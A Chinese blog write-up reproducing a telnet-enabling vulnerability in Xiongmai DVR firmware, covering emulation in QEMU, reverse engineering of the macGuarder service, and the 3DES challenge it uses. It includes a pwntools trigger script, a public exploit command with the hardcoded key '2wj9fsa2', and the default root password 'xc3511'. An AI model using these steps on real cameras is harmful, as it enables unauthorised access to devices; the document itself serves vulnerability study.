雄迈摄像头漏洞复现
2024-08-01 20:16:20

雄迈

https://www.xiongmaitech.com/en/index.php

官方固件下载中心

https://baike.jftech.com/download.html#

固件

型号:AHB7804R-LMS

SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20151228

https://file.sec-e.ru/%D0%9E%D0%B1%D0%BE%D1%80%D1%83%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%20Optimus/%D0%9F%D1%80%D0%BE%D1%88%D0%B8%D0%B2%D0%BA%D0%B8%20%D0%B4%D0%BB%D1%8F%20%D0%BE%D0%B1%D0%BE%D1%80%D1%83%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%20Optimus/AHDR%20%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B/_%D0%90%D1%80%D1%85%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5%20%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D0%B8/AHDR-2004CE/2015-12-28/

image-20240725141006810

提取固件

binwalk -Me [固件名]

image-20240725141239253

固件中存在logo(猜测启动logo之类的),custom(猜测自定义程序),romfs(猜测是只读文件系统,也就是root了),user(猜测是包含用户数据和配置文件之类)

image-20240726102006960

image-20240726102220054

查看一下文件内容,判断romfs就是后续要研究的文件系统==》先看一下启动脚本:

etc/init.d

image-20240726102404246

rcS

image-20240726104231826

执行了dnode,挂载了一些文件,可以看到挂载了两个文件系统为squashfs类型的块设备,对应文件名,应该就是刚刚的custom和user

image-20240726102801409

dnode里面是一些初始化设备节点和挂载之类的==》继续rcS

image-20240726104718967

对一些文件进行了操作,执行了loadmod,并配置了网卡,后续模拟的话可能需要更改网卡信息

image-20240726104912278

想查看一下loadmode做了哪些操作,发现usr目录为空,结合启动脚本一开始的挂载块设备到usr和custom目录,不难得出为了后续模拟该文件系统,需要先将user内和custom内容的内容拷贝至romfs中的对应目录下,如图所示

image-20240725141722435

拷贝最终结果:

image-20240725152833444

再次查看一下loadmode

image-20240726105352625

==》依旧是对文件的一些处理==》

image-20240726105820923

==》对寄存器地址赋值,好像并没有什么比较重要的地方==》继续rcS

image-20240726110138131

脚本运行了一些守护进程,例如telnet守护进程,允许远程telnet连接;然后启动了自定义应用之类的(extapp.sh),解压获取了Sofia,执行了dvrHelper,这里应该就是这个设备的主程序了,并且没有指定这个程序的路径就可以运行,应该是加入命令中了(busybox之类的)

image-20240726111411774

image-20240726135017018

识别一下busybox是什么架构的:

image-20240726141241104

IDA反编译一下这个busybox

image-20240726112236558

dvrHelper确实是被编译进去了

暂时没有什么有用的信息了==》固件模拟跑一下吧==》

固件模拟

wget https://people.debian.org/\~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
wget https://people.debian.org/\~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
wget https://people.debian.org/\~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2

#宿主机
sudo apt-get install uml-utilities
sudo tunctl -t tap0 -u `whoami`    #这边新建一张网卡和虚拟机进行通信
sudo ifconfig tap0 192.168.3.1/24

#启动QEMU
sudo qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

#默认用户名密码都是root
#配置QEMU虚拟机网卡
ifconfig eth0 192.168.3.2/24 up

宿主机:

image-20240725153333288

QEMU虚拟机:

image-20240725143918296

将文件系统传进QEMU系统内

scp -r squashfs-root root@192.168.3.2:/root

挂载dev和proc

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc

模拟设备shell

chroot ./squashfs-root/ sh

image-20240726134401627

==》busybox的版本信息等

image-20240726135409486

==》dvrHelper命令的一些相关输出,可以根据输出定位dvrHelper所在处理函数:

image-20240726141447280

image-20240726141510425

image-20240726141602698

对应上dvrHelper所在位置==》没什么有价值的信息==》尝试让设备文件系统运行

稍微修改一下设备初始化脚本文件:注释掉网卡配置和最后的启动程序,后续我们手动启动程序

#! /bin/sh

/etc/init.d/dnode
echo /sbin/mdev > /proc/sys/kernel/hotplug
mdev -s

mount -t squashfs /dev/mtdblock2 /usr
mount -t squashfs /dev/mtdblock3 /mnt/custom
mount -t cramfs /dev/mtdblock4 /mnt/logo
mount -t jffs2 /dev/mtdblock5 /mnt/mtd

mount -t ramfs  /dev/mem        /var
mount -t usbfs none /proc/bus/usb/

#ifconfig eth0 up
#ifconfig eth0 10.6.2.131
mkdir -p /mnt/mtd/Config /mnt/mtd/Log /mnt/mtd/Config/ppp /mnt/mtd/Config/Json
#if [ ! -f /mnt/mtd/Config/HvrMode ] && [ -f /mnt/custom/HvrMode ]; then
#	cp /mnt/custom/HvrMode /mnt/mtd/Config/
#fi
if [ -n "`sed -n '/MBD6804T-EL/p' /mnt/custom/ProductDefinition | sed -n '/Hardware/p'`" ];then
	rm /mnt/mtd/Config/HvrMode -f
elif [ ! -f /mnt/mtd/Config/HvrMode ] && [ -f /mnt/custom/HvrMode ]; then
	cp /mnt/custom/HvrMode /mnt/mtd/Config/
fi

if [ -f /mnt/mtd/Config/ppp/3gdigal ]; then
	chmod 777 /mnt/mtd/Config/ppp/3gdigal
fi
cd /usr/etc
./loadmod
#ifconfig eth0 up
#ifconfig eth0 192.168.3.2/24

routedaemon&
dogtest &
#BurnSataHub &
telnetd &
timecheck &
macGuarder &

sleep 3
netinit &
sleep 2

/usr/etc/pppd pty /etc/ppp/pppoe-start file /etc/ppp/pppoe-options &

/mnt/custom/extapp.sh &

#unrar x /usr/bin/Sofia.rar /var/
cp /usr/bin/Sofia.tar.lzma /var/
cd /var/
tar -axf /usr/bin/Sofia.tar.lzma

chmod 777 /var/Sofia
rm /var/Sofia.tar.lzma -fr
#dvrHelper /lib/modules /var/Sofia 127.0.0.1 9578 1

上传覆盖脚本文件

scp rcS root@192.168.3.2:/root/squashfs-root/etc/init.d

在设备shell中运行初始化脚本

image-20240726142147378

挂载没文件是正常的,不影响,因为在上文中我们已经提前将custom和user并入文件系统中了

此时你的虚拟机将因为初始化而发生变化==》退出设备shell将其改回

ifconfig eth0 192.168.3.2/24

image-20240726143003850

查看一下虚拟机的端口情况

image-20240726143127301

==》由macGuarder监听的9530端口

回到设备shell启动主程序

chroot ./squashfs-root/ sh
dvrHelper /lib/modules /var/Sofia 192.168.3.2 9578 1

image-20240726143443959

再启动一个shell连接虚拟机(可以使用ssh等),查看端口情况

image-20240726143611370

==》由dvrHelper监听的9527端口

漏洞分析

在互联网上寻找关于这个型号的相关漏洞,可以加快我们对这个设备的分析速度

image-20240726144838047

CVE-2021-41506和CVE-2020-22253都提到了macGuarder,并且提到了Telnet

==》分析一下9530,也就是macGuarder

image-20240725170953923

在CVE-2021-41506漏洞相关链接中有提到漏洞的触发条件==》

https://habr.com/en/articles/486856/

image-20240726145330506

反编译定位字符串,当然,如果你发现你无法将这个符号文件拷贝下来分析,你也可以直接使用busybox,因为这个命令已经编译进去了,作为busybox的软链接存在

image-20240731112251902

OpenTelnet:OpenOnce

image-20240726145645734

image-20240726150018868

猜测v6应该是程序接收的消息的头指针,+1略过了1个字节,也就是长度字节==》

exp:我这里其实是想发送OpenTelnet:OpenOnce看看它的返回的randNum是什么样子的,结果一直接受不到,并且在QEMU设备shell中是可以看到接收到了,并且还成功打开了Telnet

from pwn import *

io=remote("192.168.3.2",9530)

payload_1 = b"OpenTelnet:OpenOnce"

print(bytes([len(payload_1)]) + payload_1)
io.send(bytes([len(payload_1)]) + payload_1)
log.success('send: '+str(payload_1))

虚拟机设备shell:

image-20240726161201163

虚拟机shell(这里我重启了一次QEMU,并没有启动dvrHelper)

image-20240726161243431

Telnet连接尝试:该用户密码可通过hashcat爆破等方式获取,一般都是默认

image-20240801142054631

User:root
Password:xc3511

image-20240726161512675

根据漏洞报告相关链接描述来说,应该还有一个类似密钥之类的验证,但是并未在此版本的固件中出现,通过randNum字符串定位也并没有找到;

再根据另外一篇复现文章中:

https://nosec.org/home/detail/4213.html

#POC C版本
https://github.com/Snawoot/hisilicon-dvr-telnet
#POC py版本
https://github.com/tothi/pwn-hisilicon-dvr

image-20240731115146019

可以发现POC只发送了OpenTelnet:OpenOnce,后续将由于没有返回randNum,POC也接收不到,就被迫挂着了,最后也是强制ctrl c结束,但是可以发现设备确实是启动了Telnet;

更换设备AHB7804R-LMS

这次根据具体的版本号去获取固件

https://file.sec-e.ru/%D0%9E%D0%B1%D0%BE%D1%80%D1%83%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%20Optimus/%D0%9F%D1%80%D0%BE%D1%88%D0%B8%D0%B2%D0%BA%D0%B8%20%D0%B4%D0%BB%D1%8F%20%D0%BE%D0%B1%D0%BE%D1%80%D1%83%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F%20Optimus/AHDR%20%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80%D1%8B/_%D0%90%D1%80%D1%85%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5%20%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D0%B8/AHDR-2004CE/131/2017-03-01/SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20170301_NT.bin

image-20240801140745224

SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20170301_NT

提取固件后查看目标程序的软链接:同样都是busybox

image-20240731112701708

同样是通过字符串定位:

image-20240731113155623

再通过交叉引用定位到函数:

image-20240731113253521

再查找这个函数的引用:sub_2610C

image-20240731114024958

image-20240731113906947

发现此函数中出现的字符串与密钥等与漏洞报告链接描述高度吻合==》

初步验证

模拟运行:手动启动macGuarder,因为在这个版本的固件中的初始化脚本中并没有启用这项服务

image-20240731141833625

image-20240731141734634

发送OpenTelnet:OpenOnce测试一下:

from pwn import *

io=remote("192.168.3.2",9530)

payload_1 = b"OpenTelnet:OpenOnce"

print(bytes([len(payload_1)]) + payload_1)
io.send(bytes([len(payload_1)]) + payload_1)
log.success('send: '+str(payload_1))

re_ret = io.recv()
log.success('recv: '+str(re_ret))

正如报告所言,返回了一个randNum

image-20240731142026866

证明这个程序正是我们要分析的目标,通过C版本的EXP打一波试试:

./hs-dvr-telnet 192.168.3.2 2wj9fsa2

执行效果:

image-20240731142716295

成功去执行了telnetd命令,但是由于该版本的固件中并不存在这个命令,所以导致并无法完成利用

SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20170301_NT:

image-20240731144422449

与SimpGeneral_General_AHB7804R-LMS_V4.02.R11.Nat.20151228对比:

image-20240731145152944

直接将20151228版本里的telnetd丢到20170301版本里:

scp telnetd root@192.168.3.2:/root/squashfs-root/sbin

修改rcS启动脚本,添加

macGuarder &

记得将网卡配置和最后的dvrHelper注释

最终验证

进入设备shell,运行设备初始化脚本,再次进行攻击,最终攻击效果:

image-20240801140449890

image-20240801140424804

成功开启了Telnet,并根据

User:root
Password:xc3511

成功登陆设备

漏洞原理

在给程序发送消息,消息进入处理:

image-20240801144343434

打印一些提示提示信息,已创建连接,消息的内容,然后就是验证OpenTelnet:OpenOnce,程序将会返回randNum;

randNum是8位根据时间戳随机生成的十进制数

image-20240801145235472

image-20240801145353315

我们也就是客户端就需要发送这串随机数给服务器,并且发送的随机数是需要使用服务端提供的密钥进行加密的,然后客户端收到加密的密文,使用密钥解开,验证randNum;

对于密钥,服务端会先寻找/mnt/custom/TelnetOEMPasswd获取,没有的话就使用2wj9fsa2

image-20240801145724757

image-20240801150601047

对于加密函数encrypt:

image-20240801151809870

经过分辨,这是一个3DES加密算法,具体请参考:

https://github.com/tothi/pyDes/blob/7a26fe09dc5b57b175c6439fbbf496414598a7a2/pyDes.py#L108
https://github.com/tothi/pyDes
https://github.com/polymorf/findcrypt-yara
https://bbs.kanxue.com/thread-278321.htm#msg_header_h2_0
https://www.4hou.com/posts/mGYE

若验证成功,则服务端发送verify:OK,并处理下一个消息CMD:加密算法与randNum是一样的,所以使用相同的方式加密后由客户端发送给服务端

image-20240801150912881

验证成功后进入check_open_telnet函数,验证消息是否是Telnet:OpenOnce,若是,则启动Telnetd,打印Telnet:Open OK…,响应Open:OK

image-20240801151022498

并启动调试端口9527

image-20240801151444452

至此,telnet已经被启动,可以凭借用户密码即可登陆设备